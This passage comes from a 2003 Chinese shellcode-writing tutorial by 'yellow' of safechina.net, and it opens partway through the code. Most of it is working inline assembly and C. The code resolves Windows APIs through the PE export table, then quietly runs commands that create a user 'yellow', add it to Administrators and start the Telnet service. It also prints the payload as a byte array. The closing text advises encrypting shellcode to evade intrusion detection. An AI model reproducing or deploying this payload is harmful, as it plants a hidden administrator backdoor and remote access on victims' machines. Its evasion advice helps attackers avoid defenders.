_emit 'c';
_emit 'c';
_emit 'e';
_emit 'p';
_emit 't';
_emit 0x00
LACCEPT:
pop APINAMEScall LLISTEN//6
_emit 'l';
_emit 'i';
_emit 's';
_emit 't';
_emit 'e';
_emit 'n';
_emit 0x00
LLISTEN:
pop APINAMES[LISTEN * 4]
call LSEND//7
_emit 's';
_emit 'e';
_emit 'n';
_emit 'd';
_emit 0x00
LSEND:
pop APINAMES[SEND * 4]
call LRECV//8
_emit 'r';
_emit 'e';
_emit 'c';
_emit 'v';
_emit 0x00
LRECV:
pop APINAMES[RECV * 4]
call CLOSESOCKETL//9
_emit 'c';
_emit 'l';
_emit 'o';
_emit 's';
_emit 'e';
_emit 's';
_emit 'o';
_emit 'c';
_emit 'k';
_emit 'e';
_emit 't';
_emit 0x00
CLOSESOCKETL:
pop APINAMES[CLOSESOCKET * 4]
call WSASTARTUPL//10
_emit 'W';
_emit 'S';
_emit 'A';
_emit 'S';
_emit 't';
_emit 'a';
_emit 'r';
_emit 't';
_emit 'u';
_emit 'p';
_emit 0x00
WSASTARTUPL:
pop APINAMES[WSASTARTUP * 4]
call WSACLEANUPL//11
_emit 'W';
_emit 'S';
_emit 'A';
_emit 'C';
_emit 'l';
_emit 'e';
_emit 'a';
_emit 'n';
_emit 'u';
_emit 'p';
_emit 0x00
WSACLEANUPL:
pop APINAMES[WSACLEANUP * 4]
//nop;可以在這里設(shè)置一個斷點查看DLLNAMES和APINAMES是否填入了需要的內(nèi)容
//填寫
}
//3,裝載所有需要的DLL
for(i=DLLSTART;i<=DLLEND;i++)
{
DLLS=API[LOADLIBRARY](DLLNAMES);
}
//4,獲取所有需要的API
//4.1取得Windows Kernel API
for(i=KNLSTART;i<=KNLEND;i++)
{
API=API[GETPROCADDRESS](DLLS[KERNELDLL],APINAMES);
}
//4.2取得Windows Sockets API
for(i=WSOCKSTART;i<=WSOCKEND;i++)
{
API=API[GETPROCADDRESS](DLLS[WS2_32DLL],APINAMES);
}
//5,編寫ShellCode的功能實體部分
__asm
{
call PUTCOMMAND_ADDUSER
_emit 'n'
_emit 'e'
_emit 't'
_emit ' '
_emit 'u'
_emit 's'
_emit 'e'
_emit 'r'
_emit ' '
_emit 'y'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 'w'
_emit ' '
_emit 'y'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 'w'
_emit ' '
_emit '/'
_emit 'a'
_emit 'd'
_emit 'd'
_emit 0x00
PUTCOMMAND_ADDUSER:
pop CMD[COMMAND_ADDUSER * 4]
call PUTCOMMAND_SETUSERADMIN
_emit 'n'
_emit 'e'
_emit 't'
_emit ' '
_emit 'l'
_emit 'o'
_emit 'c'
_emit 'a'
_emit 'l'
_emit 'g'
_emit 'r'
_emit 'o'
_emit 'u'
_emit 'p'
_emit ' '
_emit 'A'
_emit 'd'
_emit 'm'
_emit 'i'
_emit 'n'
_emit 'i'
_emit 's'
_emit 't'
_emit 'r'
_emit 'a'
_emit 't'
_emit 'o'
_emit 'r'
_emit 's'
_emit ' '
_emit 'y'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 'w'
_emit ' '
_emit '/'
_emit 'a'
_emit 'd'
_emit 'd'
_emit 0x00
PUTCOMMAND_SETUSERADMIN:
pop CMD[COMMAND_SETUSERADMIN*4]
call PUTCOMMAND_OPENTLNT
_emit 'n'
_emit 'e'
_emit 't'
_emit ' '
_emit 's'
_emit 't'
_emit 'a'
_emit 'r'
_emit 't'
_emit ' '
_emit 't'
_emit 'l'
_emit 'n'
_emit 't'
_emit 's'
_emit 'v'
_emit 'r'
_emit 0x00
PUTCOMMAND_OPENTLNT:
pop CMD[COMMAND_OPENTLNT* 4]
}
//__asm int 3//在Release版本中使用斷點
//6,執(zhí)行命令新建用戶,如果權(quán)限夠就將用戶加入Administrators,再開啟標(biāo)準(zhǔn)的Telnet服務(wù)
for(i=COMMAND_START;i<=COMMAND_END;i++)
API[WINEXEC](CMD,SW_HIDE);
/*
我們已經(jīng)引入了一些常用的KERNEL API和WINSOCK API,可以在這里進(jìn)行更深入的
開發(fā)(比如我們可以使用WinSock自己實現(xiàn)一個Telnet服務(wù)端).
*/
API[EXITPROCESS](0);//使用ExitProcess來退出ShellCode以減少錯誤
__asm
{
/*
子程序FindApi,由我前面講解的GetFunctionByName修改得到
入口參數(shù):
ImageBase:DLL基址
FuncName:需要查找的引出函數(shù)名
flen:引出函數(shù)名長度,在不會出現(xiàn)重復(fù)的情況下可以比引出函數(shù)名短一點
Count:引出函數(shù)地址索引起始,通常應(yīng)該把它設(shè)為0.
出口參數(shù):
如果查找則成功Eax返回有效的函數(shù)地址,否則返回0
*/
FindApi:
mov eax,ImageBase
add eax,0x3c//指向PE頭部偏移值e_lfanew
mov eax,[eax]//取得e_lfanew值
add eax,ImageBase//指向PE header
cmp [eax],0x00004550
jne NotFound//如果ImageBase句柄有錯
mov PE,eax
mov eax,[eax+0x78]
add eax,ImageBase//指向IMAGE_EXPORT_DIRECTORY
mov [IED],eax
mov eax,[eax+0x20]
add eax,ImageBase
mov FunNameArray,eax//保存函數(shù)名稱指針數(shù)組的指針值
mov ecx,[IED]
mov ecx,[ecx+0x14]//根據(jù)引出函數(shù)個數(shù)NumberOfFunctions設(shè)置最大查找次數(shù)
FindLoop:
push ecx//使用一個小技巧,使用程序循環(huán)更簡單
mov eax,[eax]
add eax,ImageBase
mov esi,FuncName
mov edi,eax
mov ecx,flen//逐個字符比較,如果相同則為找到函數(shù),注意這里的ecx值
cld
rep cmpsb
jne FindNext//如果當(dāng)前函數(shù)不是指定的函數(shù)則查找下一個
add esp,4//如果查找成功,則清除用于控制外層循環(huán)而壓入的Ecx,準(zhǔn)備返回
mov eax,[IED]
mov eax,[eax+0x1c]
add eax,ImageBase//獲得函數(shù)地址表
shl Count,2//根據(jù)函數(shù)索引計算函數(shù)地址指針=函數(shù)地址表基址+(函數(shù)索引*4)
add eax,Count
mov eax,[eax]//獲得函數(shù)地址相對偏移量
add eax,ImageBase//計算函數(shù)真實地址,并通過Eax返回給調(diào)用者
jmp Found
FindNext:
inc Count//記錄函數(shù)索引
add [FunNameArray],4//下一個函數(shù)名指針
mov eax,FunNameArray
pop ecx//恢復(fù)壓入的ecx(NumberOfFunctions),進(jìn)行計數(shù)循環(huán)
loop FindLoop//如果ecx不為0則遞減并回到FindLoop,往后查找
NotFound:
xor eax,eax//如果沒有找到,則返回0
Found:
ret
//ShellCode結(jié)束標(biāo)識符
_emit '*'
_emit '*'
}
}
void AboutMe(void)
{
printf("t++++++++++++++++++++++++++++++++++n");
printf("t+ ShellCode Demo! +n");
printf("t+ Code by yellow +n");
printf("t+ Date:2003-12-21 +n");
printf("t+ Email:yellow@safechina.net +n");
printf("t+ Home Page:www.safechina.net +n");
printf("t++++++++++++++++++++++++++++++++++n");
}
void printsc(unsigned char *sc)
{
int x=0;
printf("unsigned char shellcode[]={");
while(1)
{
if ((*sc=='*')&&(*(sc+1)=='*')) break;
if(!(x++%10)) printf("nt");
printf("0x%0.2X,",*sc++);
}
printf("n};nTotal %d Bytesrn",x+1);
}
int main(void)
{
unsigned char *p=ShellCodeFun;
unsigned int k=0;
if(*p==0xe9)
{
k=*(unsigned int*)(++p);
(int)p+=k;
(int)p+=4;
}
printsc(p);
AboutMe();
getch();
}
/////////////////////////////////////////////////////////////////////////////////////////////////
注意我在這里我沒有演示ShellCode加密技術(shù),現(xiàn)在的ShellCode加密大都都xor之類的操作,基本上比較簡單
,但為了逃避"入侵檢測系統(tǒng)"的查殺還是應(yīng)該使用比較好的加密方法,我想以后可能會寫一些相關(guān)的技術(shù)文章吧!
Ok!已經(jīng)演示了這么多,我想你的收獲一定不小吧!俗話說的好"師傅領(lǐng)進(jìn)門,修行在個人",ShellCode最關(guān)鍵的
技術(shù)我們已經(jīng)掌握了,至于怎么去實現(xiàn)一個功能豐富的ShellCode就看你自己的開發(fā)技術(shù)和經(jīng)驗了!
--------------------------------------------------------------------------------------------------
最后
當(dāng)我初學(xué)ShellCode編寫技術(shù)時,對于沒有能讓初學(xué)者入門的ShellCode教程可以參考而感到煩惱,所以在我完成
PE和KERNEL32地址獲得方法學(xué)習(xí)后,就立刻寫了這篇文章,希望對廣大初學(xué)者有所幫助!眼看快要到圣誕節(jié),yellow
在這里初大家圣誕節(jié)快樂,永遠(yuǎn)開心,永遠(yuǎn)年輕!愿中國的安全技術(shù)更上一層樓!
4,參考資料.
<MSDN>
<Windows 核心編程>
<Windows 95系統(tǒng)程序設(shè)計大奧秘>
<Win32Asm Programming>
5,關(guān)鍵字:
通用ShellCode,黑客編程技術(shù),PE引出表,KERNEL32.DLL地址,結(jié)構(gòu)化異常處理,SEH,溢出,overflow,中華安全網(wǎng)
By yellow from www.safechina.net
2003年12月21日晚
The End.